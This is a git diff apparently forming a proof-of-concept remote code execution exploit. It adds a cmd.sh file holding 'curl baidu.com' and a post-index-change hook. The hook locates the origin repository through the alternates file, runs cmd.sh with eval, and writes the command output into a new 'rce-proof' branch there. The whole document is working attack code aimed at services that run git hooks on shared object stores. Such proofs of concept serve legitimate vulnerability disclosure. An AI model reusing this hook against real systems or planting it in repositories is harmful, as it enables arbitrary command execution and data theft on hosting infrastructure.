diff --git a/cmd.sh b/cmd.sh
new file mode 100755
index 0000000..cde177e
--- /dev/null
+++ b/cmd.sh
@@ -0,0 +1 @@
+curl baidu.com
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..9a4025a
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,24 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+
+cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
+[ -n "$cmd" ] || exit 0
+
+out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
+
+out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
+tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
+commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
+ GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
+ git --git-dir="$origin_git" commit-tree "$tree")
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
+exit 0
+
+# 5hpys7